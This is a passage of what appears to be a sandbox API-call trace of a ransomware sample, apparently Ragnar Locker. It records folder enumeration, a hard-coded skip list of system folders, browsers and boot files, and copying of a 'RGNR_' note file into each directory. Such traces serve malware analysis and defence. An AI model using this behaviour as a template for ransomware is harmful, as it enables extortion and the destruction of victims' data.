ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.488] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0078.488] lstrcpyW (in: lpString1=0x1eab70, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.488] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.488] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.488] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8105c3e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.488] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.488] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0078.488] lstrcmpiW (lpString1="MSOSV.DLL", lpString2=".") returned 1 [0078.488] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="..") returned 1 [0078.488] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8105c3e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.488] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.488] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.488] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8105c3e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.488] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.488] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8105c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.489] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8105c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.489] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8105c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0078.489] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0078.489] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x42 [0078.489] lstrcpyW (in: lpString1=0x1eb63e, lpString2="MSOSV.DLL" | out: lpString1="MSOSV.DLL") returned="MSOSV.DLL" [0078.489] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL") returned=".DLL" [0078.489] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.489] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="autorun.inf") returned 1 [0078.489] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="boot.ini") returned 1 [0078.489] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="bootfont.bin") returned 1 [0078.489] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="bootsect.bak") returned 1 [0078.489] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="bootmgr") returned 1 [0078.489] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="bootmgr.efi") returned 1 [0078.489] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="bootmgfw.efi") returned 1 [0078.489] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="desktop.ini") returned 1 [0078.489] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="iconcache.db") returned 1 [0078.489] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="ntldr") returned -1 [0078.489] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="ntuser.dat") returned -1 [0078.489] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="ntuser.dat.log") returned -1 [0078.489] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="ntuser.ini") returned -1 [0078.489] lstrcmpiW (lpString1="MSOSV.DLL", lpString2="thumbs.db") returned -1 [0078.489] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0078.489] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0078.489] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0078.489] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8105c3e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.489] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x42 [0078.489] lstrcpyW (in: lpString1=0x1eb63e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.489] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.489] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.489] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8105c3e0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.489] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.489] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0078.489] lstrcmpiW (lpString1="Web Server Extensions", lpString2=".") returned 1 [0078.489] lstrcmpiW (lpString1="Web Server Extensions", lpString2="..") returned 1 [0078.490] lstrcmpiW (lpString1="Web Server Extensions", lpString2="Windows") returned -1 [0078.490] lstrcmpiW (lpString1="Web Server Extensions", lpString2="Windows.old") returned -1 [0078.490] lstrcmpiW (lpString1="Web Server Extensions", lpString2="Tor browser") returned 1 [0078.490] lstrcmpiW (lpString1="Web Server Extensions", lpString2="Internet Explorer") returned 1 [0078.490] lstrcmpiW (lpString1="Web Server Extensions", lpString2="Google") returned 1 [0078.490] lstrcmpiW (lpString1="Web Server Extensions", lpString2="Opera") returned 1 [0078.490] lstrcmpiW (lpString1="Web Server Extensions", lpString2="Opera Software") returned 1 [0078.490] lstrcmpiW (lpString1="Web Server Extensions", lpString2="Mozilla") returned 1 [0078.490] lstrcmpiW (lpString1="Web Server Extensions", lpString2="Mozilla Firefox") returned 1 [0078.490] lstrcmpiW (lpString1="Web Server Extensions", lpString2="$Recycle.Bin") returned 1 [0078.490] lstrcmpiW (lpString1="Web Server Extensions", lpString2="ProgramData") returned 1 [0078.490] lstrcmpiW (lpString1="Web Server Extensions", lpString2="All Users") returned 1 [0078.490] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0078.490] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="Web Server Extensions" | out: lpString1="Web Server Extensions") returned="Web Server Extensions" [0078.490] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\" [0078.490] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\" [0078.490] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\RGNR_FD7BD9FC.txt" [0078.490] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.492] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*.*" [0078.492] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4c [0078.493] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.493] lstrcpyW (in: lpString1=0x1eb23e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.493] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8105c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.493] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.493] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8105c3e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8105c3e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.493] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.493] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.493] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0078.493] lstrcmpiW (lpString1="14", lpString2=".") returned 1 [0078.493] lstrcmpiW (lpString1="14", lpString2="..") returned 1 [0078.493] lstrcmpiW (lpString1="14", lpString2="Windows") returned -1 [0078.493] lstrcmpiW (lpString1="14", lpString2="Windows.old") returned -1 [0078.493] lstrcmpiW (lpString1="14", lpString2="Tor browser") returned -1 [0078.493] lstrcmpiW (lpString1="14", lpString2="Internet Explorer") returned -1 [0078.493] lstrcmpiW (lpString1="14", lpString2="Google") returned -1 [0078.493] lstrcmpiW (lpString1="14", lpString2="Opera") returned -1 [0078.493] lstrcmpiW (lpString1="14", lpString2="Opera Software") returned -1 [0078.493] lstrcmpiW (lpString1="14", lpString2="Mozilla") returned -1 [0078.493] lstrcmpiW (lpString1="14", lpString2="Mozilla Firefox") returned -1 [0078.493] lstrcmpiW (lpString1="14", lpString2="$Recycle.Bin") returned 1 [0078.493] lstrcmpiW (lpString1="14", lpString2="ProgramData") returned -1 [0078.493] lstrcmpiW (lpString1="14", lpString2="All Users") returned -1 [0078.493] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4c [0078.493] lstrcpyW (in: lpString1=0x1eb652, lpString2="14" | out: lpString1="14") returned="14" [0078.493] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\" [0078.493] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\" [0078.494] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\RGNR_FD7BD9FC.txt" [0078.494] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.495] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*.*" [0078.495] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x4f [0078.495] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.495] lstrcpyW (in: lpString1=0x1ea76c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.495] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81082540, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.496] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.496] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x81082540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81082540, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.496] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.496] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.496] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0078.496] lstrcmpiW (lpString1="BIN", lpString2=".") returned 1 [0078.496] lstrcmpiW (lpString1="BIN", lpString2="..") returned 1 [0078.496] lstrcmpiW (lpString1="BIN", lpString2="Windows") returned -1 [0078.496] lstrcmpiW (lpString1="BIN", lpString2="Windows.old") returned -1 [0078.496] lstrcmpiW (lpString1="BIN", lpString2="Tor browser") returned -1 [0078.496] lstrcmpiW (lpString1="BIN", lpString2="Internet Explorer") returned -1 [0078.496] lstrcmpiW (lpString1="BIN", lpString2="Google") returned -1 [0078.496] lstrcmpiW (lpString1="BIN", lpString2="Opera") returned -1 [0078.496] lstrcmpiW (lpString1="BIN", lpString2="Opera Software") returned -1 [0078.496] lstrcmpiW (lpString1="BIN", lpString2="Mozilla") returned -1 [0078.496] lstrcmpiW (lpString1="BIN", lpString2="Mozilla Firefox") returned -1 [0078.496] lstrcmpiW (lpString1="BIN", lpString2="$Recycle.Bin") returned 1 [0078.496] lstrcmpiW (lpString1="BIN", lpString2="ProgramData") returned -1 [0078.496] lstrcmpiW (lpString1="BIN", lpString2="All Users") returned 1 [0078.496] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x4f [0078.496] lstrcpyW (in: lpString1=0x1eab80, lpString2="BIN" | out: lpString1="BIN") returned="BIN" [0078.496] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\" [0078.496] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\" [0078.496] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\RGNR_FD7BD9FC.txt" [0078.496] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.499] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*" [0078.499] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x53 [0078.499] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.499] lstrcpyW (in: lpString1=0x1e9c9c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.499] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, 